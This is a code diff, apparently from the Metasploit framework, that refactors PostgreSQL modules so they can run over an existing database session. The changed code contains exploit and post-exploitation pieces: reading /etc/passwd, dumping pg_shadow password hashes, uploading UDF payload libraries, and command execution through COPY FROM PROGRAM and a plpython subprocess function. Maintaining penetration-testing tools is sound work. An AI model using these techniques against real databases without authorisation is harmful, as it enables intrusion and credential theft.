diff --git a/lib/msf/core/exploit/remote/postgres.rb b/lib/msf/core/exploit/remote/postgres.rb index 3bfed96807a4..77572c231bf0 100644 --- a/lib/msf/core/exploit/remote/postgres.rb +++ b/lib/msf/core/exploit/remote/postgres.rb @@ -88,11 +88,6 @@ def verbose; datastore['VERBOSE']; end # @return [:error] if some other error occurred # @return [:connected] if everything went as planned def postgres_login(opts={}) - unless defined?(session).nil? || session.nil? - self.postgres_conn = session.client - return :connected - end - postgres_logout if self.postgres_conn db = opts[:database] || datastore['DATABASE'] username = opts[:username] || datastore['USERNAME'] @@ -125,7 +120,7 @@ def postgres_login(opts={}) return :connection_refused end if self.postgres_conn - print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose + print_good "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose return :connected end end @@ -134,20 +129,15 @@ def postgres_login(opts={}) # # @return [void] def postgres_logout - ip = datastore['RHOST'] - port = datastore['RPORT'] + ip = self.postgres_conn.address + port = self.postgres_conn.port verbose = datastore['VERBOSE'] - # Don't log out if we are using a session. - if defined?(session) && session - print_status "#{ip}:#{port} Postgres - Skipping disconnecting from the session" if verbose - return - end if self.postgres_conn self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn")) self.postgres_conn = nil + print_status "#{ip}:#{port} Postgres - Disconnected" if verbose end - print_status "#{ip}:#{port} Postgres - Disconnected" if verbose end # If not currently connected, attempt to connect. If an @@ -158,17 +148,16 @@ def postgres_logout # @param doprint [Boolean] Whether the result should be printed # @return [Hash] def postgres_query(sql=nil,doprint=false) - ip = datastore['RHOST'] - port = datastore['RPORT'] unless self.postgres_conn result = postgres_login unless result == :connected - return { :conn_error => result } + return { conn_error: result } end end + if self.postgres_conn sql ||= datastore['SQL'] - vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'" + vprint_status "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - querying with '#{sql}'" begin resp = self.postgres_conn.query(sql) rescue RuntimeError => e @@ -202,12 +191,11 @@ def postgres_query(sql=nil,doprint=false) # Otherwise, create a rowset using Rex::Text::Table (if there's # more than 0 rows) and return :complete. def postgres_print_reply(resp=nil,sql=nil) - ip = datastore['RHOST'] - port = datastore['RPORT'] verbose = datastore['VERBOSE'] return :error unless resp.kind_of? Connection::Result + if resp.rows and resp.fields - print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose + print_status "#{postgres_conn.address}:#{postgres_conn.port} Rows Returned: #{resp.rows.size}" if verbose if resp.rows.size > 0 tbl = Rex::Text::Table.new( 'Indent' => 4, diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index b6380e35c01d..a489f538a1b5 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -29,6 +29,7 @@ def initialize(info = {}) Msf::Opt::RPORT(3306, false) ] ) + add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr') end if framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE) @@ -37,8 +38,11 @@ def initialize(info = {}) Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']), Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']), + Msf::Opt::RHOST(nil, false), + Msf::Opt::RPORT(5432, false) ] ) + add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr') end if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) diff --git a/lib/postgres/postgres-pr/connection.rb b/lib/postgres/postgres-pr/connection.rb index d4c1dff7f86a..f421b3d0c229 100644 --- a/lib/postgres/postgres-pr/connection.rb +++ b/lib/postgres/postgres-pr/connection.rb @@ -121,6 +121,14 @@ def initialize(database, user, password=nil, uri = nil) end end + def address + @conn.peerhost + end + + def port + @conn.peerport + end + def close raise "connection already closed" if @conn.nil? @conn.shutdown diff --git a/modules/auxiliary/admin/postgres/postgres_readfile.rb b/modules/auxiliary/admin/postgres/postgres_readfile.rb index 6f1d99c630f7..5045ad9c682c 100644 --- a/modules/auxiliary/admin/postgres/postgres_readfile.rb +++ b/modules/auxiliary/admin/postgres/postgres_readfile.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report + include Msf::OptionalSession def initialize(info = {}) super(update_info(info, @@ -17,13 +18,15 @@ def initialize(info = {}) as well as read privileges to the target file. }, 'Author' => [ 'todb' ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'SessionTypes' => %w[PostgreSQL] )) register_options( [ OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd']) - ]) + ] + ) deregister_options( 'SQL', 'RETURN_ROWSET' ) end @@ -37,6 +40,7 @@ def rport end def run + self.postgres_conn = session.client if session ret = postgres_read_textfile(datastore['RFILE']) case ret.keys[0] when :conn_error @@ -44,13 +48,13 @@ def run when :sql_error case ret[:sql_error] when /^C58P01/ - print_error "#{rhost}:#{rport} Postgres - No such file or directory." - vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}" + print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - No such file or directory." + vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}" when /^C42501/ - print_error "#{rhost}:#{rport} Postgres - Insufficient file permissions." - vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}" + print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient file permissions." + vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}" else - print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}" + print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}" end when :complete loot = '' @@ -59,10 +63,10 @@ def run loot << row.first } # No idea what the actual ctype will be, text/plain is just a guess - path = store_loot('postgres.file', 'text/plain', rhost, loot, datastore['RFILE']) - print_good("#{rhost}:#{rport} Postgres - #{datastore['RFILE']} saved in #{path}") - vprint_good "#{rhost}:#{rport} Postgres - Command complete." + path = store_loot('postgres.file', 'text/plain', postgres_conn.address, loot, datastore['RFILE']) + print_good("#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{datastore['RFILE']} saved in #{path}") + vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete." end - postgres_logout if self.postgres_conn + postgres_logout if self.postgres_conn && session.blank? end end diff --git a/modules/auxiliary/admin/postgres/postgres_sql.rb b/modules/auxiliary/admin/postgres/postgres_sql.rb index 6f2a440c7b4a..7d1818072ede 100644 --- a/modules/auxiliary/admin/postgres/postgres_sql.rb +++ b/modules/auxiliary/admin/postgres/postgres_sql.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres + include Msf::OptionalSession def initialize(info = {}) super(update_info(info, @@ -18,10 +19,9 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'www.postgresql.org' ] - ] + ], + 'SessionTypes' => %w[PostgreSQL] )) - - #register_options( [ ], self.class) # None needed. end def auxiliary_commands @@ -42,15 +42,16 @@ def rport end def run + self.postgres_conn = session.client if session ret = postgres_query(datastore['SQL'],datastore['RETURN_ROWSET']) case ret.keys[0] when :conn_error print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." when :sql_error - print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}" + print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}" when :complete - vprint_good "#{rhost}:#{rport} Postgres - Command complete." + vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete." end - postgres_logout if self.postgres_conn + postgres_logout if self.postgres_conn && session.blank? end end diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index 9e3e79a1ddc8..a6dc26b1539a 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::OptionalSession def initialize super( @@ -16,23 +17,34 @@ def initialize hashes from a Postgres server and stores them for later cracking. }, 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'SessionTypes' => %w[PostgreSQL] ) - register_options([ - OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']), - ]) deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') end - def run_host(ip) + def username + session ? session.client.params['username'] : datastore['USERNAME'] + end + + def database + session ? session.client.params['database'] : datastore['DATABASE'] + end + def password + # The session or its client doesn't store the password + session ? nil : datastore['PASSWORD'] + end + + def run_host(ip) + self.postgres_conn = session.client if session # Query the Postgres Shadow table for username and password hashes and report them res = postgres_query('SELECT usename, passwd FROM pg_shadow',false) service_data = { - address: ip, - port: rport, + address: postgres_conn.address, + port: postgres_conn.port, service_name: 'postgres', protocol: 'tcp', workspace_id: myworkspace_id @@ -41,11 +53,11 @@ def run_host(ip) credential_data = { module_fullname: self.fullname, origin_type: :service, - private_data: datastore['PASSWORD'], + private_data: password, private_type: :password, - username: datastore['USERNAME'], + username: username, realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, - realm_value: datastore['DATABASE'] + realm_value: database } credential_data.merge!(service_data) @@ -68,10 +80,10 @@ def run_host(ip) case res[:sql_error] when /^C42501/ - print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions." + print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient permissions." return else - print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}" + print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{res[:sql_error]}" return end when :complete @@ -96,8 +108,8 @@ def run_host(ip) ) service_data = { - address: ::Rex::Socket.getaddress(rhost,true), - port: rport, + address: postgres_conn.address, + port: postgres_conn.port, service_name: 'postgres', protocol: 'tcp', workspace_id: myworkspace_id @@ -133,6 +145,7 @@ def run_host(ip) end print_good("#{tbl.to_s}") + postgres_logout if self.postgres_conn && session.blank? end end diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb index 20cceb3aa049..dfc7a5b1c3fa 100644 --- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb @@ -28,7 +28,11 @@ def initialize end def run_host(_ip) - print_status 'When targeting a session, only the current database can be dumped.' if session + if session + print_status 'When targeting a session, only the current database can be dumped.' + self.postgres_conn = session.client + end + pg_schema = get_schema pg_schema.each do |db| report_note( @@ -70,7 +74,7 @@ def get_schema tmp_db = {} tmp_db['DBName'] = database_name tmp_db['Tables'] = [] - postgres_login({ database: database_name }) + postgres_login({ database: database_name }) unless session tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);") if tmp_tblnames && !tmp_tblnames.empty? tmp_tblnames.each do |tbl_row| diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index c5c8cbfa7ce1..cd9807b8dae3 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + include Msf::OptionalSession # Creates an instance of this module. def initialize(info = {}) @@ -20,7 +21,8 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'https://www.postgresql.org/' ] - ] + ], + 'SessionTypes' => %w[PostgreSQL] )) register_options([ ]) # None needed. @@ -31,6 +33,7 @@ def initialize(info = {}) # Loops through each host in turn. Note the current IP address is both # ip and datastore['RHOST'] def run_host(ip) + self.postgres_conn = session.client if session user = datastore['USERNAME'] pass = postgres_password do_fingerprint(user,pass,datastore['DATABASE']) @@ -76,34 +79,34 @@ def do_fingerprint(user=nil,pass=nil,database=nil) begin msg = "#{rhost}:#{rport} Postgres -" password = pass || postgres_password - vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") + vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") unless postgres_conn result = postgres_fingerprint( :db => database, :username => user, :password => password ) if result[:auth] - vprint_good "#{rhost}:#{rport} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'" - print_status "#{rhost}:#{rport} Postgres - Version #{result[:auth]} (Post-Auth)" + vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'" unless session + print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:auth]} (Post-Auth)" elsif result[:preauth] - print_good "#{rhost}:#{rport} Postgres - Version #{result[:preauth]} (Pre-Auth)" + print_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:preauth]} (Pre-Auth)" else # It's something we don't know yet - vprint_status "#{rhost}:#{rport} Postgres - Authentication Error Fingerprint: #{result[:unknown]}" - print_status "#{rhost}:#{rport} Postgres - Version Unknown (Pre-Auth)" + vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Authentication Error Fingerprint: #{result[:unknown]}" + print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version Unknown (Pre-Auth)" end # Reporting report_service( - :host => rhost, - :port => rport, + :host => postgres_conn.address, + :port => postgres_conn.port, :name => "postgres", :info => result.values.first ) if self.postgres_conn report_cred( - ip: rhost, - port: rport, + ip: postgres_conn.address, + port: postgres_conn.port, service_name: 'postgres', user: user, password: password, @@ -113,17 +116,17 @@ def do_fingerprint(user=nil,pass=nil,database=nil) if result[:unknown] report_note( - :host => rhost, + :host => postgres_conn.address, :proto => 'tcp', :sname => 'postgres', - :port => rport, + :port => postgres_conn.port, :ntype => 'postgresql.fingerprint', :data => "Unknown Pre-Auth fingerprint: #{result[:unknown]}" ) end # Logout - postgres_logout + postgres_logout if self.postgres_conn && session.blank? rescue Rex::ConnectionError vprint_error "#{rhost}:#{rport} Connection Error: #{$!}" diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 1377ab60eb83..1165ae24f3cd 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report + include Msf::OptionalSession # Creates an instance of this module. def initialize(info = {}) @@ -66,8 +67,8 @@ def initialize(info = {}) ], ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2007-06-05' - + 'DisclosureDate' => '2007-06-05', + 'SessionTypes' => %w[PostgreSQL] )) deregister_options('SQL', 'RETURN_ROWSET') @@ -85,12 +86,14 @@ def check end def exploit + self.postgres_conn = session.client if session + version = do_login(username,password,database) case version when :noauth; print_error "Authentication failed"; return when :noconn; print_error "Connection failed"; return else - print_status("#{rhost}:#{rport} - #{version}") + print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}") end fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so" @@ -111,7 +114,7 @@ def exploit rescue RuntimeError => e print_error "Failed to create UDF function: #{e.class}: #{e}" end - postgres_logout if @postgres_conn + postgres_logout if @postgres_conn && session.blank? end @@ -121,7 +124,7 @@ def exploit def do_login(user=nil,pass=nil,database=nil) begin password = pass || postgres_password - vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") + vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn result = postgres_fingerprint( :db => database, :username => user, @@ -129,8 +132,8 @@ def do_login(user=nil,pass=nil,database=nil) ) if result[:auth] report_service( - :host => rhost, - :port => rport, + :host => postgres_conn.address, + :port => postgres_conn.port, :name => "postgres", :info => result.values.first ) diff --git a/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb b/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb index 89f15a1b9dde..59e538e4b28d 100644 --- a/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb +++ b/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Postgres include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report + include Msf::OptionalSession def initialize(info = {}) super(update_info(info, @@ -72,11 +73,11 @@ def initialize(info = {}) } ], ], - 'DisclosureDate' => '2019-03-20' + 'DisclosureDate' => '2019-03-20', + 'SessionTypes' => %w[PostgreSQL] )) register_options([ - Opt::RPORT(5432), OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]), OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false]) ]) @@ -98,12 +99,8 @@ def vuln_version? version = postgres_fingerprint return false unless version[:auth] vprint_status version[:auth].to_s - version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first - if Rex::Version.new(version_full) >= Rex::Version.new('9.3') - return true - else - return false - end + version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first + Rex::Version.new(version_full) >= Rex::Version.new('9.3') end def login_success? @@ -127,15 +124,15 @@ def execute_payload drop_query = postgres_query(query) case drop_query.keys[0] when :conn_error - print_error "#{peer} - Connection error" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error" return false when :sql_error - print_warning "#{peer} - Unable to execute query: #{query}" + print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}" return false when :complete - print_good "#{peer} - #{tablename} dropped successfully" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully" else - print_error "#{peer} - Unknown" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown" return false end @@ -144,15 +141,15 @@ def execute_payload create_query = postgres_query(query) case create_query.keys[0] when :conn_error - print_error "#{peer} - Connection error" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error" return false when :sql_error - print_warning "#{peer} - Unable to execute query: #{query}" + print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}" return false when :complete - print_good "#{peer} - #{tablename} created successfully" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} created successfully" else - print_error "#{peer} - Unknown" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown" return false end @@ -162,20 +159,24 @@ def execute_payload copy_query = postgres_query(query) case copy_query.keys[0] when :conn_error - print_error "#{peer} - Connection error" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error" return false when :sql_error - print_warning "#{peer} - Unable to execute query: #{query}" + if copy_query[:sql_error].match? 'execution expired' + print_warning 'Timed out. The function was potentially executed.' + return true + end + print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}" if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/ print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group' return false end - print_warning "#{peer} - Unable to execute query: #{query}" + print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}" return false when :complete - print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} copied successfully(valid syntax/command)" else - print_error "#{peer} - Unknown" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown" return false end @@ -185,16 +186,16 @@ def execute_payload select_query = postgres_query(query) case select_query.keys[0] when :conn_error - print_error "#{peer} - Connection error" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error" return false when :sql_error - print_warning "#{peer} - Unable to execute query: #{query}" + print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}" return false when :complete - print_good "#{peer} - #{tablename} contents:\n#{select_query}" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} contents:\n#{select_query}" return true else - print_error "#{peer} - Unknown" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown" return false end end @@ -203,15 +204,15 @@ def execute_payload drop_query = postgres_query(query) case drop_query.keys[0] when :conn_error - print_error "#{peer} - Connection error" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error" return false when :sql_error - print_warning "#{peer} - Unable to execute query: #{query}" + print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}" return false when :complete - print_good "#{peer} - #{tablename} dropped successfully(Cleaned)" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully(Cleaned)" else - print_error "#{peer} - Unknown" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown" return false end end @@ -235,8 +236,8 @@ def do_login(user, pass, database) end def exploit - #vuln_version doesn't seem to work - #return unless vuln_version? + self.postgres_conn = session.client if session + return unless vuln_version? return unless login_success? print_status("Exploiting...") if execute_payload @@ -244,6 +245,6 @@ def exploit else print_error("Exploit Failed") end - postgres_logout if @postgres_conn + postgres_logout if @postgres_conn && session.blank? end end diff --git a/modules/exploits/multi/postgres/postgres_createlang.rb b/modules/exploits/multi/postgres/postgres_createlang.rb index dd0dc53af21b..e8352a251fe1 100644 --- a/modules/exploits/multi/postgres/postgres_createlang.rb +++ b/modules/exploits/multi/postgres/postgres_createlang.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Postgres include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report + include Msf::OptionalSession def initialize(info = {}) super(update_info(info, @@ -46,13 +47,10 @@ def initialize(info = {}) ['Automatic', {}] ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2016-01-01' + 'DisclosureDate' => '2016-01-01', + 'SessionTypes' => %w[PostgreSQL] )) - register_options([ - Opt::RPORT(5432) - ]) - deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') end @@ -69,11 +67,7 @@ def vuln_version? version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first - if Rex::Version.new(version_full) >= Rex::Version.new('8.0') - return true - else - return false - end + Rex::Version.new(version_full) >= Rex::Version.new('8.0') end def login_success? @@ -86,7 +80,7 @@ def login_success? print_error "#{peer} - Connection failed" return false else - print_status "#{peer} - #{status}" + print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{status}" return true end end @@ -94,16 +88,16 @@ def login_success? def load_extension?(language) case load_procedural_language(language, 'LANGUAGE') when :exists - print_good "#{peer} - #{language} is already loaded, continuing" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} is already loaded, continuing" return true when :loaded - print_good "#{peer} - #{language} was successfully loaded, continuing" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} was successfully loaded, continuing" return true when :not_exists - print_status "#{peer} - #{language} could not be loaded" + print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{language} could not be loaded" return false else - vprint_error "#{peer} - error occurred loading #{language}" + vprint_error "#{postgres_conn.address}:#{postgres_conn.port} - error occurred loading #{language}" return false end end @@ -114,16 +108,29 @@ def exec_function?(func_name) case select_query.keys[0] when :conn_error - print_error "#{peer} - Connection error" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error" return false when :sql_error - print_warning "#{peer} - Unable to execute query: #{query}" + elog(select_query[:sql_error]) + + missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*" + unless missing_executable_match.nil? + print_error "#{missing_executable_match} - The target binary was not found on the target." + return false + end + + if select_query[:sql_error].match? 'execution expired' + print_warning 'Timed out. The function was potentially executed.' + return true + end + + print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}" return false when :complete - print_good "#{peer} - Exploit successful" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - Exploit successful" return true else - print_error "#{peer} - Unknown" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown" return false end end @@ -139,23 +146,23 @@ def create_function?(language, func_name) load_func = postgres_query(query) when /^python(?:2|3)?/i query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" - query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r" + query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r" query << "$$ LANGUAGE pl#{language}u" load_func = postgres_query(query) end case load_func.keys[0] when :conn_error - print_error "#{peer} - Connection error" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error" return false when :sql_error - print_error "#{peer} Exploit failed" + print_error "#{postgres_conn.address}:#{postgres_conn.port} Exploit failed" return false when :complete - print_good "#{peer} - Loaded UDF (exec_#{func_name})" + print_good "#{postgres_conn.address}:#{postgres_conn.port} - Loaded UDF (exec_#{func_name})" return true else - print_error "#{peer} - Unknown" + print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown" return false end end @@ -168,8 +175,11 @@ def load_procedural_language(language, extension) match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m) return :exists if match_exists - match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m) + match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m) return :not_exists if match_error + + # Default to something sane + :not_exists end def do_login(user, pass, database) @@ -191,6 +201,7 @@ def do_login(user, pass, database) end def exploit + self.postgres_conn = session.client if session return unless vuln_version? return unless login_success? @@ -204,6 +215,6 @@ def exploit break end end - postgres_logout if @postgres_conn + postgres_logout if @postgres_conn && session.blank? end end diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index 6ec4b3513979..3ab640f19b9b 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::FileDropper + include Msf::OptionalSession # Creates an instance of this module. def initialize(info = {}) @@ -58,7 +59,8 @@ def initialize(info = {}) ], ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2009-04-10' # Date of Bernardo's BH Europe paper. + 'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper. + 'SessionTypes' => %w[PostgreSQL] )) deregister_options('SQL', 'RETURN_ROWSET') @@ -77,12 +79,13 @@ def check end def exploit + self.postgres_conn = session.client if session version = do_login(username,password,database) case version when :noauth; print_error "Authentication failed"; return when :noconn; print_error "Connection failed"; return else - print_status("#{rhost}:#{rport} - #{version}") + print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}") end fname = "#{Rex::Text.rand_text_alpha(8)}.dll" @@ -104,7 +107,7 @@ def exploit rescue RuntimeError => e print_error "Failed to create UDF function: #{e.class}: #{e}" end - postgres_logout if @postgres_conn + postgres_logout if @postgres_conn && session.blank? end @@ -114,7 +117,7 @@ def exploit def do_login(user=nil,pass=nil,database=nil) begin password = pass || postgres_password - vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") + vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn result = postgres_fingerprint( :db => database, :username => user, @@ -122,8 +125,8 @@ def do_login(user=nil,pass=nil,database=nil) ) if result[:auth] report_service( - :host => rhost, - :port => rport, + :host => postgres_conn.address, + :port => postgres_conn.port, :name => "postgres", :info => result.values.first )